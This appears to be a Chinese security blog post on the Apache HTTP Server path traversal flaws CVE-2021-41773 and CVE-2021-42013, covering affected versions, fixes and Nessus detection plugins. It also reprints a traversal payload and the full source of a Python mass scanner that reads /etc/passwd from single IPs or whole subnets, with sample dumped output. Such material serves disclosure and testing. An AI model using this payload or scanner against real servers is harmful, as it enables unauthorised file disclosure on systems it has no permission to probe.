CVE-2021-41773 Apache HTTP Server路径遍历漏洞0day

CVE-2021-41773 Apache HTTP Server路径遍历漏洞0day

Apache HTTP Server 项目修补了一个不到一个月前引入的路径遍历漏洞,该漏洞已被广泛利用。

漏洞描述:

在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现了一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。如果文档根目录之外的文件不受“要求全部拒绝”的保护,则这些请求可能会成功。此外,此缺陷可能会泄漏 CGI 脚本等解释文件的来源。已知此问题已被广泛利用。此问题仅影响 Apache 2.4.49 而不是早期版本。

背景

2021年10 月 5 日,Apache HTTP Server 项目修补了 CVE-2021-41773漏洞,这是 Apache HTTP Server 中的一个路径遍历和文件泄露漏洞,Apache HTTP Server 是一种用于 Unix 和 Windows 的开源 Web 服务器,是使用最广泛的 Web 服务器之一。根据安全公告,CVE-2021-41773 已被广泛用作零日漏洞。Ash Daulton 和 cPanel 安全团队于 2021年9 月 29 日向 Apache HTTP 服务器项目披露了该漏洞。

然而,该公告并未指出何时检测到 CVE-2021-41773 的利用,但该利用推动了补丁的加速发布是有道理的。

apache安全公告

CVE-2021-41773 Apache HTTP Server路径遍历漏洞0day

危急: Apache HTTP Server 2.4.49 和 2.4.50 中的路径遍历和远程代码执行(CVE-2021-41773 的不完整修复) ( CVE-2021-42013 )

此漏洞已在 Apache HTTP Server 2.4.51 中修复

发现 Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。

如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

受影响的版本

此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。

致谢:

  • 由 Dreamlab Technologies 的 Juan Escobar 报道
  • 来自 NULL Life CTF 团队的 Fernando Muñoz 报道
  • 熊坂俊吾报道
  • Nattapon Jongcharoen 报道
已报告给安全团队2021-10-06
由 2.4.x 中的 r1893977、r1893980、r1893982 修复2021-10-07
更新 2.4.51 发布2021-10-07
影响2.4.50, 2.4.49

漏洞分析

CVE-2021-41773是在 2021年9 月 15 日发布的 2.4.49 版中对路径规范化所做的更改引入到 Apache HTTP Server 中的。此漏洞仅影响具有“要求全部拒绝”访问权限的 Apache HTTP Server 2.4.49 控制配置禁用版。

成功的利用将使远程攻击者能够访问易受攻击的 Web 服务器上文档根目录之外的任意文件。根据该公告,该漏洞还可能泄露“CGI 脚本等解释文件的来源”,其中可能包含攻击者可以利用以进行进一步攻击的敏感信息。

根据 Shodan 搜索,只有不到 112,000 个 Apache HTTP 服务器在运行易受攻击的版本。但是,其他易受攻击的 Web 服务器可能被配置为不显示版本信息。

CVE-2021-41773 Apache HTTP Server路径遍历漏洞0day

在同一个版本中,Apache 服务器 HTTP 项目解决了CVE-2021-41524,这是一个空指针取消引用漏洞,它可能导致拒绝服务条件,也只影响版本 2.4.49。

POC代码[概念证明]

Positive Technologies Offensive Team PT Swarm在 Twitter 上宣布他们已经复现了该漏洞。

CVE-2021-41773 Apache HTTP Server路径遍历漏洞0day
CVE-2021-41773 Apache HTTP Server路径遍历漏洞0day

不久之后,另一位用户回复了概念验证 (PoC) payload
其他 PoC 已在 Twitter 上共享,我们预计工作漏洞脚本将很快发布。

CVE-2021-41773 Apache HTTP Server路径遍历漏洞0day
.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/thx

CVE-2021-42013 & CVE-2021-41773 Apache HTTPd 路径遍历和远程代码执行漏洞poc

CVE-2021-41773 Apache HTTP Server路径遍历漏洞0day

解决方案

所有用户都应确保他们更新到最新版本的 Apache HTTP Server。
10 月 7 日,Apache HTTP Server 项目发布了2.4.51版本,因为原始版本 (2.4.50) 没有完全解决 CVE-2021-41773。
由于 Apache HTTP Server 2.4.49 于 2021 年 9 月 15 日发布,因此部分用户可能尚未更新到易受攻击的版本。

识别受影响的系统

可以使用Nessus的如下插件精确识别漏洞是否存在

ID名称产品Family严重性
153894FreeBSD : Apache httpd — 多个漏洞 (25b78bdd-25b8-11ec-a341-d4c9ef517024)NessusFreeBSD Local Security Checks高危
113014Apache 2.4.49 < 2.4.50 多个漏洞
Web Application Scanning
Component Vulnerability高危
153885Apache HTTP Server 2.4.49 路径遍历 (CVE-2021-41773) Nessus CGI abuses高危
153884Apache 2.4.49 < 2.4.50 多个漏洞 Nessus Web Servers危急

CVE-2021-41773批量扫描工具

CVE-2021-41773-PoC.py源码:

#!/usr/bin/python
# coding: utf-8


import os
import sys
import getopt
import ipaddress
import urllib.request
import socket
import os.path
from ipaddress import IPv4Network

def usage():

    comm = os.path.basename(sys.argv[0])

    if os.path.dirname(sys.argv[0]) == os.getcwd():
        comm = "./" + comm
    print("Usage: CVE-2021-41773 options\n")
    print("     Only for one IP: python CVE-2021-41773.py IP_address\n")
    print("     -f For IP list in file")
    print("         Example: python CVE-2021-41773.py -f IP_address_list_filename")
    print("     -s For Subnet")
    print("         Example: python CVE-2021-41773.py -s 8.8.8.0/24")


def validadIP(IP):
    try:
        ip = ipaddress.ip_address(IP)
    except ValueError:
        print('El formato de la Dirección IP: %s es invalidado' % IP)
        sys.exit()
    except:
        usage()

def checkApache(IP):
    validadIP(IP)
    url = "http://"+IP+"/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\n"
    req = urllib.request.Request(url)
    try: 
        salida = urllib.request.urlopen(req, timeout=5)
        if salida.status == 200:
            contenido = salida.read().decode('utf-8')
            if 'root:' in contenido:            
                print('Server %s IS VULNERABLE' % IP )
                print("The output is:\n\n"+contenido)            
        else:
            print('Server %s IS NOT VULNERABLE' % IP)
    except urllib.error.URLError as e:
        print('Server %s IS NOT VULNERABLE' % IP)
    except socket.timeout:
        print('Server %s IS NOT REPONSE' % IP)
    except ConnectionResetError:
        print('Server %s connection reset' % IP)

def checkfile(filename):
    if os.path.exists(os.getcwd()+"/"+filename):
        openfile = open(os.getcwd()+"/"+filename,'r')
        IPs=openfile.readlines()
        count = 0
        for line in IPs:
            count += 1
            checkApache(line.strip())

def checknet(net):
    count = 0
    subnet = IPv4Network(net, False)
    for addr in subnet:
        count += 1
        checkApache(str(addr))

def start(argv):
    if len(sys.argv) < 2:
        usage()
        sys.exit()
    elif len(sys.argv) == 2:
        checkApache(sys.argv[1])
        sys.exit()
    try:
        opts, args = getopt.getopt(argv, "f:s:")
    except getopt.GetoptError:
        usage()
        sys.exit()
    for opt, arg in opts:
        if opt == '-f':
            checkfile(arg)
        elif opt == '-s':
            checknet(arg)
if __name__ == "__main__":
    try:
        start(sys.argv[1:])
    except KeyboardInterrupt:
        print("Search interrupted by user..")
    #except:
      #  sys.exit()

项目地址:

GitHub:

github.com/lorddemon/CVE-2021-41773-PoC/

用法:

此脚本测试 Apache HTTP Server 2.4.49

CVE-2021-41773.py 选项

  • 仅针对一个IP:python CVE-2021-41773.py IP_address
  • 选项 -f 对于文件中的 IP 列表示例:python CVE-2021-41773.py -f IP_address_list_filename
  • 选项 -s 对于 IP 子网示例:python CVE-2021-41773.py -s 192.168.1.0/24

输出

python CVE-2021-41773.py AAA.BBB.CCC.DDD
Server AAA.BBB.CCC.DDD IS VULNERABLE
The output is:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin
systemd-network:x:998:997:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
mysql:x:997:995:MySQL server:/var/lib/mysql:/sbin/nologin
saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin
dovecot:x:97:97:Dovecot IMAP server:/usr/libexec/dovecot:/sbin/nologin
dovenull:x:995:993:Dovecot's unauthorized user:/usr/libexec/dovecot:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
darkerc:x:1000:1000::/home/darkerc:/sbin/nologin
toranon:x:986:983:Tor anonymizing user:/var/lib/tor:/sbin/nologin
nginx:x:985:982:nginx user:/var/cache/nginx:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注